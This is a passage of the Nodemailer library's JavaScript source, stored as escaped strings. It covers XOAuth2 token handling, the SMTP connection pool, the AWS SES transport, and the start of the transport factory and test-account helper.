')';\n }\n return callback(new Error(errorMessage));\n }\n\n if (data.access_token) {\n this.updateToken(data.access_token, data.expires_in);\n return callback(null, this.accessToken);\n }\n\n return callback(new Error('No access token'));\n });\n }\n\n /**\n * Converts an access_token and user id into a base64 encoded XOAuth2 token\n *\n * @param {String} [accessToken] Access token string\n * @return {String} Base64 encoded token for IMAP or SMTP login\n */\n buildXOAuth2Token(accessToken) {\n let authData = ['user=' + (this.options.user || ''), 'auth=Bearer ' + (accessToken || this.accessToken), '', ''];\n return Buffer.from(authData.join('\\x01'), 'utf-8').toString('base64');\n }\n\n /**\n * Custom POST request handler.\n * This is only needed to keep paths short in Windows – usually this module\n * is a dependency of a dependency and if it tries to require something\n * like the request module the paths get way too long to handle for Windows.\n * As we do only a simple POST request we do not actually require complicated\n * logic support (no redirects, no nothing) anyway.\n *\n * @param {String} url Url to POST to\n * @param {String|Buffer} payload Payload to POST\n * @param {Function} callback Callback function with (err, buff)\n */\n postRequest(url, payload, params, callback) {\n let returned = false;\n\n let chunks = [];\n let chunklen = 0;\n\n let req = nmfetch(url, {\n method: 'post',\n headers: params.customHeaders,\n body: payload,\n allowErrorResponse: true\n });\n\n req.on('readable', () => {\n let chunk;\n while ((chunk = req.read()) !== null) {\n chunks.push(chunk);\n chunklen += chunk.length;\n }\n });\n\n req.once('error', err => {\n if (returned) {\n return;\n }\n returned = true;\n return callback(err);\n });\n\n req.once('end', () => {\n if (returned) {\n return;\n }\n returned = true;\n return callback(null, Buffer.concat(chunks, chunklen));\n });\n }\n\n /**\n * Encodes a buffer or a string into Base64url format\n *\n * @param {Buffer|String} data The data to convert\n * @return {String} The encoded string\n */\n toBase64URL(data) {\n if (typeof data === 'string') {\n data = Buffer.from(data);\n }\n\n return data\n .toString('base64')\n .replace(/[=]+/g, '') // remove '='s\n .replace(/\\+/g, '-') // '+' → '-'\n .replace(/\\//g, '_'); // '/' → '_'\n }\n\n /**\n * Creates a JSON Web Token signed with RS256 (SHA256 + RSA)\n *\n * @param {Object} payload The payload to include in the generated token\n * @return {String} The generated and signed token\n */\n jwtSignRS256(payload) {\n payload = ['{\"alg\":\"RS256\",\"typ\":\"JWT\"}', JSON.stringify(payload)].map(val => this.toBase64URL(val)).join('.');\n let signature = crypto.createSign('RSA-SHA256').update(payload).sign(this.options.privateKey);\n return payload + '.' + this.toBase64URL(signature);\n }\n}\n\nmodule.exports = XOAuth2;\n","'use strict';\n\nconst services = require('./services.json');\nconst normalized = {};\n\nObject.keys(services).forEach(key => {\n let service = services[key];\n\n normalized[normalizeKey(key)] = normalizeService(service);\n\n [].concat(service.aliases || []).forEach(alias => {\n normalized[normalizeKey(alias)] = normalizeService(service);\n });\n\n [].concat(service.domains || []).forEach(domain => {\n normalized[normalizeKey(domain)] = normalizeService(service);\n });\n});\n\nfunction normalizeKey(key) {\n return key.replace(/[^a-zA-Z0-9.-]/g, '').toLowerCase();\n}\n\nfunction normalizeService(service) {\n let filter = ['domains', 'aliases'];\n let response = {};\n\n Object.keys(service).forEach(key => {\n if (filter.indexOf(key) < 0) {\n response[key] = service[key];\n }\n });\n\n return response;\n}\n\n/**\n * Resolves SMTP config for given key. Key can be a name (like 'Gmail'), alias (like 'Google Mail') or\n * an email address (like 'test@googlemail.com').\n *\n * @param {String} key [description]\n * @returns {Object} SMTP config or false if not found\n */\nmodule.exports = function (key) {\n key = normalizeKey(key.split('@').pop());\n return normalized[key] || false;\n};\n","'use strict';\n\nconst EventEmitter = require('events');\nconst PoolResource = require('./pool-resource');\nconst SMTPConnection = require('../smtp-connection');\nconst wellKnown = require('../well-known');\nconst shared = require('../shared');\nconst packageData = require('../../package.json');\n\n/**\n * Creates a SMTP pool transport object for Nodemailer\n *\n * @constructor\n * @param {Object} options SMTP Connection options\n */\nclass SMTPPool extends EventEmitter {\n constructor(options) {\n super();\n\n options = options || {};\n if (typeof options === 'string') {\n options = {\n url: options\n };\n }\n\n let urlData;\n let service = options.service;\n\n if (typeof options.getSocket === 'function') {\n this.getSocket = options.getSocket;\n }\n\n if (options.url) {\n urlData = shared.parseConnectionUrl(options.url);\n service = service || urlData.service;\n }\n\n this.options = shared.assign(\n false, // create new object\n options, // regular options\n urlData, // url options\n service && wellKnown(service) // wellknown options\n );\n\n this.options.maxConnections = this.options.maxConnections || 5;\n this.options.maxMessages = this.options.maxMessages || 100;\n\n this.logger = shared.getLogger(this.options, {\n component: this.options.component || 'smtp-pool'\n });\n\n // temporary object\n let connection = new SMTPConnection(this.options);\n\n this.name = 'SMTP (pool)';\n this.version = packageData.version + '[client:' + connection.version + ']';\n\n this._rateLimit = {\n counter: 0,\n timeout: null,\n waiting: [],\n checkpoint: false,\n delta: Number(this.options.rateDelta) || 1000,\n limit: Number(this.options.rateLimit) || 0\n };\n this._closed = false;\n this._queue = [];\n this._connections = [];\n this._connectionCounter = 0;\n\n this.idling = true;\n\n setImmediate(() => {\n if (this.idling) {\n this.emit('idle');\n }\n });\n }\n\n /**\n * Placeholder function for creating proxy sockets. This method immediatelly returns\n * without a socket\n *\n * @param {Object} options Connection options\n * @param {Function} callback Callback function to run with the socket keys\n */\n getSocket(options, callback) {\n // return immediatelly\n return setImmediate(() => callback(null, false));\n }\n\n /**\n * Queues an e-mail to be sent using the selected settings\n *\n * @param {Object} mail Mail object\n * @param {Function} callback Callback function\n */\n send(mail, callback) {\n if (this._closed) {\n return false;\n }\n\n this._queue.push({\n mail,\n requeueAttempts: 0,\n callback\n });\n\n if (this.idling && this._queue.length >= this.options.maxConnections) {\n this.idling = false;\n }\n\n setImmediate(() => this._processMessages());\n\n return true;\n }\n\n /**\n * Closes all connections in the pool. If there is a message being sent, the connection\n * is closed later\n */\n close() {\n let connection;\n let len = this._connections.length;\n this._closed = true;\n\n // clear rate limit timer if it exists\n clearTimeout(this._rateLimit.timeout);\n\n if (!len && !this._queue.length) {\n return;\n }\n\n // remove all available connections\n for (let i = len - 1; i >= 0; i--) {\n if (this._connections[i] && this._connections[i].available) {\n connection = this._connections[i];\n connection.close();\n this.logger.info(\n {\n tnx: 'connection',\n cid: connection.id,\n action: 'removed'\n },\n 'Connection #%s removed',\n connection.id\n );\n }\n }\n\n if (len && !this._connections.length) {\n this.logger.debug(\n {\n tnx: 'connection'\n },\n 'All connections removed'\n );\n }\n\n if (!this._queue.length) {\n return;\n }\n\n // make sure that entire queue would be cleaned\n let invokeCallbacks = () => {\n if (!this._queue.length) {\n this.logger.debug(\n {\n tnx: 'connection'\n },\n 'Pending queue entries cleared'\n );\n return;\n }\n let entry = this._queue.shift();\n if (entry && typeof entry.callback === 'function') {\n try {\n entry.callback(new Error('Connection pool was closed'));\n } catch (E) {\n this.logger.error(\n {\n err: E,\n tnx: 'callback',\n cid: connection.id\n },\n 'Callback error for #%s: %s',\n connection.id,\n E.message\n );\n }\n }\n setImmediate(invokeCallbacks);\n };\n setImmediate(invokeCallbacks);\n }\n\n /**\n * Check the queue and available connections. If there is a message to be sent and there is\n * an available connection, then use this connection to send the mail\n */\n _processMessages() {\n let connection;\n let i, len;\n\n // do nothing if already closed\n if (this._closed) {\n return;\n }\n\n // do nothing if queue is empty\n if (!this._queue.length) {\n if (!this.idling) {\n // no pending jobs\n this.idling = true;\n this.emit('idle');\n }\n return;\n }\n\n // find first available connection\n for (i = 0, len = this._connections.length; i < len; i++) {\n if (this._connections[i].available) {\n connection = this._connections[i];\n break;\n }\n }\n\n if (!connection && this._connections.length < this.options.maxConnections) {\n connection = this._createConnection();\n }\n\n if (!connection) {\n // no more free connection slots available\n this.idling = false;\n return;\n }\n\n // check if there is free space in the processing queue\n if (!this.idling && this._queue.length < this.options.maxConnections) {\n this.idling = true;\n this.emit('idle');\n }\n\n let entry = (connection.queueEntry = this._queue.shift());\n entry.messageId = (connection.queueEntry.mail.message.getHeader('message-id') || '').replace(/[<>\\s]/g, '');\n\n connection.available = false;\n\n this.logger.debug(\n {\n tnx: 'pool',\n cid: connection.id,\n messageId: entry.messageId,\n action: 'assign'\n },\n 'Assigned message <%s> to #%s (%s)',\n entry.messageId,\n connection.id,\n connection.messages + 1\n );\n\n if (this._rateLimit.limit) {\n this._rateLimit.counter++;\n if (!this._rateLimit.checkpoint) {\n this._rateLimit.checkpoint = Date.now();\n }\n }\n\n connection.send(entry.mail, (err, info) => {\n // only process callback if current handler is not changed\n if (entry === connection.queueEntry) {\n try {\n entry.callback(err, info);\n } catch (E) {\n this.logger.error(\n {\n err: E,\n tnx: 'callback',\n cid: connection.id\n },\n 'Callback error for #%s: %s',\n connection.id,\n E.message\n );\n }\n connection.queueEntry = false;\n }\n });\n }\n\n /**\n * Creates a new pool resource\n */\n _createConnection() {\n let connection = new PoolResource(this);\n\n connection.id = ++this._connectionCounter;\n\n this.logger.info(\n {\n tnx: 'pool',\n cid: connection.id,\n action: 'conection'\n },\n 'Created new pool resource #%s',\n connection.id\n );\n\n // resource comes available\n connection.on('available', () => {\n this.logger.debug(\n {\n tnx: 'connection',\n cid: connection.id,\n action: 'available'\n },\n 'Connection #%s became available',\n connection.id\n );\n\n if (this._closed) {\n // if already closed run close() that will remove this connections from connections list\n this.close();\n } else {\n // check if there's anything else to send\n this._processMessages();\n }\n });\n\n // resource is terminated with an error\n connection.once('error', err => {\n if (err.code !== 'EMAXLIMIT') {\n this.logger.error(\n {\n err,\n tnx: 'pool',\n cid: connection.id\n },\n 'Pool Error for #%s: %s',\n connection.id,\n err.message\n );\n } else {\n this.logger.debug(\n {\n tnx: 'pool',\n cid: connection.id,\n action: 'maxlimit'\n },\n 'Max messages limit exchausted for #%s',\n connection.id\n );\n }\n\n if (connection.queueEntry) {\n try {\n connection.queueEntry.callback(err);\n } catch (E) {\n this.logger.error(\n {\n err: E,\n tnx: 'callback',\n cid: connection.id\n },\n 'Callback error for #%s: %s',\n connection.id,\n E.message\n );\n }\n connection.queueEntry = false;\n }\n\n // remove the erroneus connection from connections list\n this._removeConnection(connection);\n\n this._continueProcessing();\n });\n\n connection.once('close', () => {\n this.logger.info(\n {\n tnx: 'connection',\n cid: connection.id,\n action: 'closed'\n },\n 'Connection #%s was closed',\n connection.id\n );\n\n this._removeConnection(connection);\n\n if (connection.queueEntry) {\n // If the connection closed when sending, add the message to the queue again\n // if max number of requeues is not reached yet\n // Note that we must wait a bit.. because the callback of the 'error' handler might be called\n // in the next event loop\n setTimeout(() => {\n if (connection.queueEntry) {\n if (this._shouldRequeuOnConnectionClose(connection.queueEntry)) {\n this._requeueEntryOnConnectionClose(connection);\n } else {\n this._failDeliveryOnConnectionClose(connection);\n }\n }\n this._continueProcessing();\n }, 50);\n } else {\n this._continueProcessing();\n }\n });\n\n this._connections.push(connection);\n\n return connection;\n }\n\n _shouldRequeuOnConnectionClose(queueEntry) {\n if (this.options.maxRequeues === undefined || this.options.maxRequeues < 0) {\n return true;\n }\n\n return queueEntry.requeueAttempts < this.options.maxRequeues;\n }\n\n _failDeliveryOnConnectionClose(connection) {\n if (connection.queueEntry && connection.queueEntry.callback) {\n try {\n connection.queueEntry.callback(new Error('Reached maximum number of retries after connection was closed'));\n } catch (E) {\n this.logger.error(\n {\n err: E,\n tnx: 'callback',\n messageId: connection.queueEntry.messageId,\n cid: connection.id\n },\n 'Callback error for #%s: %s',\n connection.id,\n E.message\n );\n }\n connection.queueEntry = false;\n }\n }\n\n _requeueEntryOnConnectionClose(connection) {\n connection.queueEntry.requeueAttempts = connection.queueEntry.requeueAttempts + 1;\n this.logger.debug(\n {\n tnx: 'pool',\n cid: connection.id,\n messageId: connection.queueEntry.messageId,\n action: 'requeue'\n },\n 'Re-queued message <%s> for #%s. Attempt: #%s',\n connection.queueEntry.messageId,\n connection.id,\n connection.queueEntry.requeueAttempts\n );\n this._queue.unshift(connection.queueEntry);\n connection.queueEntry = false;\n }\n\n /**\n * Continue to process message if the pool hasn't closed\n */\n _continueProcessing() {\n if (this._closed) {\n this.close();\n } else {\n setTimeout(() => this._processMessages(), 100);\n }\n }\n\n /**\n * Remove resource from pool\n *\n * @param {Object} connection The PoolResource to remove\n */\n _removeConnection(connection) {\n let index = this._connections.indexOf(connection);\n\n if (index !== -1) {\n this._connections.splice(index, 1);\n }\n }\n\n /**\n * Checks if connections have hit current rate limit and if so, queues the availability callback\n *\n * @param {Function} callback Callback function to run once rate limiter has been cleared\n */\n _checkRateLimit(callback) {\n if (!this._rateLimit.limit) {\n return callback();\n }\n\n let now = Date.now();\n\n if (this._rateLimit.counter < this._rateLimit.limit) {\n return callback();\n }\n\n this._rateLimit.waiting.push(callback);\n\n if (this._rateLimit.checkpoint <= now - this._rateLimit.delta) {\n return this._clearRateLimit();\n } else if (!this._rateLimit.timeout) {\n this._rateLimit.timeout = setTimeout(() => this._clearRateLimit(), this._rateLimit.delta - (now - this._rateLimit.checkpoint));\n this._rateLimit.checkpoint = now;\n }\n }\n\n /**\n * Clears current rate limit limitation and runs paused callback\n */\n _clearRateLimit() {\n clearTimeout(this._rateLimit.timeout);\n this._rateLimit.timeout = null;\n this._rateLimit.counter = 0;\n this._rateLimit.checkpoint = false;\n\n // resume all paused connections\n while (this._rateLimit.waiting.length) {\n let cb = this._rateLimit.waiting.shift();\n setImmediate(cb);\n }\n }\n\n /**\n * Returns true if there are free slots in the queue\n */\n isIdle() {\n return this.idling;\n }\n\n /**\n * Verifies SMTP configuration\n *\n * @param {Function} callback Callback function\n */\n verify(callback) {\n let promise;\n\n if (!callback) {\n promise = new Promise((resolve, reject) => {\n callback = shared.callbackPromise(resolve, reject);\n });\n }\n\n let auth = new PoolResource(this).auth;\n\n this.getSocket(this.options, (err, socketOptions) => {\n if (err) {\n return callback(err);\n }\n\n let options = this.options;\n if (socketOptions && socketOptions.connection) {\n this.logger.info(\n {\n tnx: 'proxy',\n remoteAddress: socketOptions.connection.remoteAddress,\n remotePort: socketOptions.connection.remotePort,\n destHost: options.host || '',\n destPort: options.port || '',\n action: 'connected'\n },\n 'Using proxied socket from %s:%s to %s:%s',\n socketOptions.connection.remoteAddress,\n socketOptions.connection.remotePort,\n options.host || '',\n options.port || ''\n );\n options = shared.assign(false, options);\n Object.keys(socketOptions).forEach(key => {\n options[key] = socketOptions[key];\n });\n }\n\n let connection = new SMTPConnection(options);\n let returned = false;\n\n connection.once('error', err => {\n if (returned) {\n return;\n }\n returned = true;\n connection.close();\n return callback(err);\n });\n\n connection.once('end', () => {\n if (returned) {\n return;\n }\n returned = true;\n return callback(new Error('Connection closed'));\n });\n\n let finalize = () => {\n if (returned) {\n return;\n }\n returned = true;\n connection.quit();\n return callback(null, true);\n };\n\n connection.connect(() => {\n if (returned) {\n return;\n }\n\n if (auth && (connection.allowsAuth || options.forceAuth)) {\n connection.login(auth, err => {\n if (returned) {\n return;\n }\n\n if (err) {\n returned = true;\n connection.close();\n return callback(err);\n }\n\n finalize();\n });\n } else if (!auth && connection.allowsAuth && options.forceAuth) {\n let err = new Error('Authentication info was not provided');\n err.code = 'NoAuth';\n\n returned = true;\n connection.close();\n return callback(err);\n } else {\n finalize();\n }\n });\n });\n\n return promise;\n }\n}\n\n// expose to the world\nmodule.exports = SMTPPool;\n","'use strict';\n\nconst SMTPConnection = require('../smtp-connection');\nconst assign = require('../shared').assign;\nconst XOAuth2 = require('../xoauth2');\nconst EventEmitter = require('events');\n\n/**\n * Creates an element for the pool\n *\n * @constructor\n * @param {Object} options SMTPPool instance\n */\nclass PoolResource extends EventEmitter {\n constructor(pool) {\n super();\n\n this.pool = pool;\n this.options = pool.options;\n this.logger = this.pool.logger;\n\n if (this.options.auth) {\n switch ((this.options.auth.type || '').toString().toUpperCase()) {\n case 'OAUTH2': {\n let oauth2 = new XOAuth2(this.options.auth, this.logger);\n oauth2.provisionCallback = (this.pool.mailer && this.pool.mailer.get('oauth2_provision_cb')) || oauth2.provisionCallback;\n this.auth = {\n type: 'OAUTH2',\n user: this.options.auth.user,\n oauth2,\n method: 'XOAUTH2'\n };\n oauth2.on('token', token => this.pool.mailer.emit('token', token));\n oauth2.on('error', err => this.emit('error', err));\n break;\n }\n default:\n if (!this.options.auth.user && !this.options.auth.pass) {\n break;\n }\n this.auth = {\n type: (this.options.auth.type || '').toString().toUpperCase() || 'LOGIN',\n user: this.options.auth.user,\n credentials: {\n user: this.options.auth.user || '',\n pass: this.options.auth.pass,\n options: this.options.auth.options\n },\n method: (this.options.auth.method || '').trim().toUpperCase() || this.options.authMethod || false\n };\n }\n }\n\n this._connection = false;\n this._connected = false;\n\n this.messages = 0;\n this.available = true;\n }\n\n /**\n * Initiates a connection to the SMTP server\n *\n * @param {Function} callback Callback function to run once the connection is established or failed\n */\n connect(callback) {\n this.pool.getSocket(this.options, (err, socketOptions) => {\n if (err) {\n return callback(err);\n }\n\n let returned = false;\n let options = this.options;\n if (socketOptions && socketOptions.connection) {\n this.logger.info(\n {\n tnx: 'proxy',\n remoteAddress: socketOptions.connection.remoteAddress,\n remotePort: socketOptions.connection.remotePort,\n destHost: options.host || '',\n destPort: options.port || '',\n action: 'connected'\n },\n 'Using proxied socket from %s:%s to %s:%s',\n socketOptions.connection.remoteAddress,\n socketOptions.connection.remotePort,\n options.host || '',\n options.port || ''\n );\n\n options = assign(false, options);\n Object.keys(socketOptions).forEach(key => {\n options[key] = socketOptions[key];\n });\n }\n\n this.connection = new SMTPConnection(options);\n\n this.connection.once('error', err => {\n this.emit('error', err);\n if (returned) {\n return;\n }\n returned = true;\n return callback(err);\n });\n\n this.connection.once('end', () => {\n this.close();\n if (returned) {\n return;\n }\n returned = true;\n\n let timer = setTimeout(() => {\n if (returned) {\n return;\n }\n // still have not returned, this means we have an unexpected connection close\n let err = new Error('Unexpected socket close');\n if (this.connection && this.connection._socket && this.connection._socket.upgrading) {\n // starttls connection errors\n err.code = 'ETLS';\n }\n callback(err);\n }, 1000);\n\n try {\n timer.unref();\n } catch (E) {\n // Ignore. Happens on envs with non-node timer implementation\n }\n });\n\n this.connection.connect(() => {\n if (returned) {\n return;\n }\n\n if (this.auth && (this.connection.allowsAuth || options.forceAuth)) {\n this.connection.login(this.auth, err => {\n if (returned) {\n return;\n }\n returned = true;\n\n if (err) {\n this.connection.close();\n this.emit('error', err);\n return callback(err);\n }\n\n this._connected = true;\n callback(null, true);\n });\n } else {\n returned = true;\n this._connected = true;\n return callback(null, true);\n }\n });\n });\n }\n\n /**\n * Sends an e-mail to be sent using the selected settings\n *\n * @param {Object} mail Mail object\n * @param {Function} callback Callback function\n */\n send(mail, callback) {\n if (!this._connected) {\n return this.connect(err => {\n if (err) {\n return callback(err);\n }\n return this.send(mail, callback);\n });\n }\n\n let envelope = mail.message.getEnvelope();\n let messageId = mail.message.messageId();\n\n let recipients = [].concat(envelope.to || []);\n if (recipients.length > 3) {\n recipients.push('...and ' + recipients.splice(2).length + ' more');\n }\n this.logger.info(\n {\n tnx: 'send',\n messageId,\n cid: this.id\n },\n 'Sending message %s using #%s to <%s>',\n messageId,\n this.id,\n recipients.join(', ')\n );\n\n if (mail.data.dsn) {\n envelope.dsn = mail.data.dsn;\n }\n\n this.connection.send(envelope, mail.message.createReadStream(), (err, info) => {\n this.messages++;\n\n if (err) {\n this.connection.close();\n this.emit('error', err);\n return callback(err);\n }\n\n info.envelope = {\n from: envelope.from,\n to: envelope.to\n };\n info.messageId = messageId;\n\n setImmediate(() => {\n let err;\n if (this.messages >= this.options.maxMessages) {\n err = new Error('Resource exhausted');\n err.code = 'EMAXLIMIT';\n this.connection.close();\n this.emit('error', err);\n } else {\n this.pool._checkRateLimit(() => {\n this.available = true;\n this.emit('available');\n });\n }\n });\n\n callback(null, info);\n });\n }\n\n /**\n * Closes the connection\n */\n close() {\n this._connected = false;\n if (this.auth && this.auth.oauth2) {\n this.auth.oauth2.removeAllListeners();\n }\n if (this.connection) {\n this.connection.close();\n }\n this.emit('close');\n }\n}\n\nmodule.exports = PoolResource;\n","'use strict';\n\nconst EventEmitter = require('events');\nconst packageData = require('../../package.json');\nconst shared = require('../shared');\nconst LeWindows = require('../mime-node/le-windows');\n\n/**\n * Generates a Transport object for AWS SES\n *\n * Possible options can be the following:\n *\n * * **sendingRate** optional Number specifying how many messages per second should be delivered to SES\n * * **maxConnections** optional Number specifying max number of parallel connections to SES\n *\n * @constructor\n * @param {Object} optional config parameter\n */\nclass SESTransport extends EventEmitter {\n constructor(options) {\n super();\n options = options || {};\n\n this.options = options || {};\n this.ses = this.options.SES;\n\n this.name = 'SESTransport';\n this.version = packageData.version;\n\n this.logger = shared.getLogger(this.options, {\n component: this.options.component || 'ses-transport'\n });\n\n // parallel sending connections\n this.maxConnections = Number(this.options.maxConnections) || Infinity;\n this.connections = 0;\n\n // max messages per second\n this.sendingRate = Number(this.options.sendingRate) || Infinity;\n this.sendingRateTTL = null;\n this.rateInterval = 1000; // milliseconds\n this.rateMessages = [];\n\n this.pending = [];\n\n this.idling = true;\n\n setImmediate(() => {\n if (this.idling) {\n this.emit('idle');\n }\n });\n }\n\n /**\n * Schedules a sending of a message\n *\n * @param {Object} emailMessage MailComposer object\n * @param {Function} callback Callback function to run when the sending is completed\n */\n send(mail, callback) {\n if (this.connections >= this.maxConnections) {\n this.idling = false;\n return this.pending.push({\n mail,\n callback\n });\n }\n\n if (!this._checkSendingRate()) {\n this.idling = false;\n return this.pending.push({\n mail,\n callback\n });\n }\n\n this._send(mail, (...args) => {\n setImmediate(() => callback(...args));\n this._sent();\n });\n }\n\n _checkRatedQueue() {\n if (this.connections >= this.maxConnections || !this._checkSendingRate()) {\n return;\n }\n\n if (!this.pending.length) {\n if (!this.idling) {\n this.idling = true;\n this.emit('idle');\n }\n return;\n }\n\n let next = this.pending.shift();\n this._send(next.mail, (...args) => {\n setImmediate(() => next.callback(...args));\n this._sent();\n });\n }\n\n _checkSendingRate() {\n clearTimeout(this.sendingRateTTL);\n\n let now = Date.now();\n let oldest = false;\n // delete older messages\n for (let i = this.rateMessages.length - 1; i >= 0; i--) {\n if (this.rateMessages[i].ts >= now - this.rateInterval && (!oldest || this.rateMessages[i].ts < oldest)) {\n oldest = this.rateMessages[i].ts;\n }\n\n if (this.rateMessages[i].ts < now - this.rateInterval && !this.rateMessages[i].pending) {\n this.rateMessages.splice(i, 1);\n }\n }\n\n if (this.rateMessages.length < this.sendingRate) {\n return true;\n }\n\n let delay = Math.max(oldest + 1001, now + 20);\n this.sendingRateTTL = setTimeout(() => this._checkRatedQueue(), now - delay);\n\n try {\n this.sendingRateTTL.unref();\n } catch (E) {\n // Ignore. Happens on envs with non-node timer implementation\n }\n\n return false;\n }\n\n _sent() {\n this.connections--;\n this._checkRatedQueue();\n }\n\n /**\n * Returns true if there are free slots in the queue\n */\n isIdle() {\n return this.idling;\n }\n\n /**\n * Compiles a mailcomposer message and forwards it to SES\n *\n * @param {Object} emailMessage MailComposer object\n * @param {Function} callback Callback function to run when the sending is completed\n */\n _send(mail, callback) {\n let statObject = {\n ts: Date.now(),\n pending: true\n };\n this.connections++;\n this.rateMessages.push(statObject);\n\n let envelope = mail.data.envelope || mail.message.getEnvelope();\n let messageId = mail.message.messageId();\n\n let recipients = [].concat(envelope.to || []);\n if (recipients.length > 3) {\n recipients.push('...and ' + recipients.splice(2).length + ' more');\n }\n this.logger.info(\n {\n tnx: 'send',\n messageId\n },\n 'Sending message %s to <%s>',\n messageId,\n recipients.join(', ')\n );\n\n let getRawMessage = next => {\n // do not use Message-ID and Date in DKIM signature\n if (!mail.data._dkim) {\n mail.data._dkim = {};\n }\n if (mail.data._dkim.skipFields && typeof mail.data._dkim.skipFields === 'string') {\n mail.data._dkim.skipFields += ':date:message-id';\n } else {\n mail.data._dkim.skipFields = 'date:message-id';\n }\n\n let sourceStream = mail.message.createReadStream();\n let stream = sourceStream.pipe(new LeWindows());\n let chunks = [];\n let chunklen = 0;\n\n stream.on('readable', () => {\n let chunk;\n while ((chunk = stream.read()) !== null) {\n chunks.push(chunk);\n chunklen += chunk.length;\n }\n });\n\n sourceStream.once('error', err => stream.emit('error', err));\n\n stream.once('error', err => {\n next(err);\n });\n\n stream.once('end', () => next(null, Buffer.concat(chunks, chunklen)));\n };\n\n setImmediate(() =>\n getRawMessage((err, raw) => {\n if (err) {\n this.logger.error(\n {\n err,\n tnx: 'send',\n messageId\n },\n 'Failed creating message for %s. %s',\n messageId,\n err.message\n );\n statObject.pending = false;\n return callback(err);\n }\n\n let sesMessage = {\n RawMessage: {\n // required\n Data: raw // required\n },\n Source: envelope.from,\n Destinations: envelope.to\n };\n\n Object.keys(mail.data.ses || {}).forEach(key => {\n sesMessage[key] = mail.data.ses[key];\n });\n\n let ses = (this.ses.aws ? this.ses.ses : this.ses) || {};\n let aws = this.ses.aws || {};\n\n let getRegion = cb => {\n if (ses.config && typeof ses.config.region === 'function') {\n // promise\n return ses.config\n .region()\n .then(region => cb(null, region))\n .catch(err => cb(err));\n }\n return cb(null, (ses.config && ses.config.region) || 'us-east-1');\n };\n\n getRegion((err, region) => {\n if (err || !region) {\n region = 'us-east-1';\n }\n\n let sendPromise;\n if (typeof ses.send === 'function' && aws.SendRawEmailCommand) {\n // v3 API\n sendPromise = ses.send(new aws.SendRawEmailCommand(sesMessage));\n } else {\n // v2 API\n sendPromise = ses.sendRawEmail(sesMessage).promise();\n }\n\n sendPromise\n .then(data => {\n if (region === 'us-east-1') {\n region = 'email';\n }\n\n statObject.pending = false;\n callback(null, {\n envelope: {\n from: envelope.from,\n to: envelope.to\n },\n messageId: '<' + data.MessageId + (!/@/.test(data.MessageId) ? '@' + region + '.amazonses.com' : '') + '>',\n response: data.MessageId,\n raw\n });\n })\n .catch(err => {\n this.logger.error(\n {\n err,\n tnx: 'send'\n },\n 'Send error for %s: %s',\n messageId,\n err.message\n );\n statObject.pending = false;\n callback(err);\n });\n });\n })\n );\n }\n\n /**\n * Verifies SES configuration\n *\n * @param {Function} callback Callback function\n */\n verify(callback) {\n let promise;\n let ses = (this.ses.aws ? this.ses.ses : this.ses) || {};\n let aws = this.ses.aws || {};\n\n const sesMessage = {\n RawMessage: {\n // required\n Data: 'From: invalid@invalid\\r\\nTo: invalid@invalid\\r\\n Subject: Invalid\\r\\n\\r\\nInvalid'\n },\n Source: 'invalid@invalid',\n Destinations: ['invalid@invalid']\n };\n\n if (!callback) {\n promise = new Promise((resolve, reject) => {\n callback = shared.callbackPromise(resolve, reject);\n });\n }\n const cb = err => {\n if (err && (err.code || err.Code) !== 'InvalidParameterValue') {\n return callback(err);\n }\n return callback(null, true);\n };\n\n if (typeof ses.send === 'function' && aws.SendRawEmailCommand) {\n // v3 API\n sesMessage.RawMessage.Data = Buffer.from(sesMessage.RawMessage.Data);\n ses.send(new aws.SendRawEmailCommand(sesMessage), cb);\n } else {\n // v2 API\n ses.sendRawEmail(sesMessage, cb);\n }\n\n return promise;\n }\n}\n\nmodule.exports = SESTransport;\n","'use strict';\n\nconst Mailer = require('./mailer');\nconst shared = require('./shared');\nconst SMTPPool = require('./smtp-pool');\nconst SMTPTransport = require('./smtp-transport');\nconst SendmailTransport = require('./sendmail-transport');\nconst StreamTransport = require('./stream-transport');\nconst JSONTransport = require('./json-transport');\nconst SESTransport = require('./ses-transport');\nconst nmfetch = require('./fetch');\nconst packageData = require('../package.json');\n\nconst ETHEREAL_API = (process.env.ETHEREAL_API || 'https://api.nodemailer.com').replace(/\\/+$/, '');\nconst ETHEREAL_WEB = (process.env.ETHEREAL_WEB || 'https://ethereal.email').replace(/\\/+$/, '');\nconst ETHEREAL_API_KEY = (process.env.ETHEREAL_API_KEY || '').replace(/\\s*/g, '') || null;\nconst ETHEREAL_CACHE = ['true', 'yes', 'y', '1'].includes((process.env.ETHEREAL_CACHE || 'yes').toString().trim().toLowerCase());\n\nlet testAccount = false;\n\nmodule.exports.createTransport = function (transporter, defaults) {\n let urlConfig;\n let options;\n let mailer;\n\n if (\n // provided transporter is a configuration object, not transporter plugin\n (typeof transporter === 'object' && typeof transporter.send !== 'function') ||\n // provided transporter looks like a connection url\n (typeof transporter === 'string' && /^(smtps?|direct):/i.test(transporter))\n ) {\n if ((urlConfig = typeof transporter === 'string' ? transporter : transporter.url)) {\n // parse a configuration URL into configuration options\n options = shared.parseConnectionUrl(urlConfig);\n } else {\n options = transporter;\n }\n\n if (options.pool) {\n transporter = new SMTPPool(options);\n } else if (options.sendmail) {\n transporter = new SendmailTransport(options);\n } else if (options.streamTransport) {\n transporter = new StreamTransport(options);\n } else if (options.jsonTransport) {\n transporter = new JSONTransport(options);\n } else if (options.SES) {\n transporter = new SESTransport(options);\n } else {\n transporter = new SMTPTransport(options);\n }\n }\n\n mailer = new Mailer(transporter, options, defaults);\n\n return mailer;\n};\n\nmodule.exports.createTestAccount = function (apiUrl, callback) {\n let promise;\n\n if (!callback && typeof apiUrl === 'function') {\n callback = apiUrl;\n apiUrl = false;\n }\n\n if (!callback) {\n promise = new Promise((resolve, reject) => {\n callback = shared.callbackPromise(resolve, reject);\n });\n }\n\n if (ETHEREAL_CACHE && testAccount) {\n setImmediate(() => callback(null, testAccount));\n return promise;\n }\n\n apiUrl = apiUrl || ETHEREAL_API;\n\n let chunks = [];\n let chunklen = 0;\n\n let requestHeaders = {};\n let requestBody = {\n requestor: packageData.name,\n version: packageData.version\n };\n\n if (ETHEREAL_API_KEY) {\n requestHeaders.Authorization = 'Bearer ' + ETHEREAL_API_KEY;\n }\n\n let req = nmfetch(apiUrl + '/user', {\n contentType: 'application/json',\n method: 'POST',\n headers: requestHeaders,\n body: Buffer.from(JSON.stringify(requestBody))\n });\n\n req.on('readable', () => {\n let chunk;\n while ((chunk = req.read()) !== null) {\n chunks.push(chunk);\n chunklen += chunk.length;\n }\n });\n\n req.once('error', err => callback(err));\n\n req.once('end', () => {\n let res = Buffer.concat(chunks, chunklen);\n let data;\n let err;\n try {\n data = 